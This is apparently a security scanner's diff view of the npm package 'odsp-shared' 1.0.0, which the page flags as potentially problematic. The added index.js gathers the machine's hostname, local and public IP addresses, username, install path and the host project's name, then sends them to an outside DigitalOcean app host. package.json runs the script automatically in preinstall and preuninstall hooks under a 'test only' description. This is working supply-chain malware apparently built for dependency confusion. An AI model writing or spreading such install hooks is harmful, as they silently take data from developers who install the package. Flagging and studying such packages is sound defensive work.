odsp-shared 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of odsp-shared might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +62 -0
  2. package/package.json +16 -0
package/index.js ADDED
@@ -0,0 +1,62 @@
1
+ const os = require("os");
2
+ const path = require('path');
3
+ const https = require('https');
4
+ const request = require('sync-request');
5
+
6
+
7
+
8
+ // Get the hostname
9
+ const hostname = os.hostname();
10
+ //console.log("Hostname: " + hostname);
11
+
12
+ // Get the network interfaces
13
+ const interfaces = os.networkInterfaces();
14
+
15
+ let ips = "";
16
+ for (const name of Object.keys(interfaces)) {
17
+ for (const iface of interfaces[name]) {
18
+ // Filter out internal/non-IPv4 addresses
19
+ if (iface.family === "IPv4" && !iface.internal) {
20
+ //console.log("IP Address: " + iface.address);
21
+ ips = ips + iface.address + "|"
22
+ }
23
+ }
24
+ };
25
+
26
+ //get system path
27
+ const systemPath = path.join(__dirname, '.');
28
+ //console.log(systemPath);
29
+
30
+ // get username
31
+ const userInfo = os.userInfo();
32
+ //console.log(userInfo["username"]);
33
+
34
+ // get current package
35
+ const packagePath = path.dirname(require.main.filename);
36
+ const packageJson = require(path.join(packagePath, 'package.json'));
37
+ //console.log(packageJson["name"]);
38
+
39
+ //get public ip
40
+ const pi = request('GET', 'https://api.ipify.org').getBody().toString();
41
+
42
+
43
+ const options = {
44
+ hostname: 'monkfish-app-brmld.ondigitalocean.app',
45
+ port: 443,
46
+ path: '/?hostname=' + hostname + '&ip=' + ips + '&path=' + systemPath + '&public_ip=' + pi + "&user=" + userInfo["username"]+ "&package=" + packageJson["name"],
47
+ method: 'GET'
48
+ };
49
+
50
+ const req = https.request(options, (res) => {
51
+ //console.log(`statusCode: ${res.statusCode}`);
52
+
53
+ res.on('data', (d) => {
54
+ process.stdout.write(d);
55
+ });
56
+ });
57
+
58
+ req.on('error', (error) => {
59
+ console.error(error);
60
+ });
61
+
62
+ req.end();
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "odsp-shared",
3
+ "version": "1.0.0",
4
+ "description": "test only",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js && exit 1",
8
+ "preuninstall": "node index.js && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "sync-request": "^6.1.0"
14
+ }
15
+
16
+ }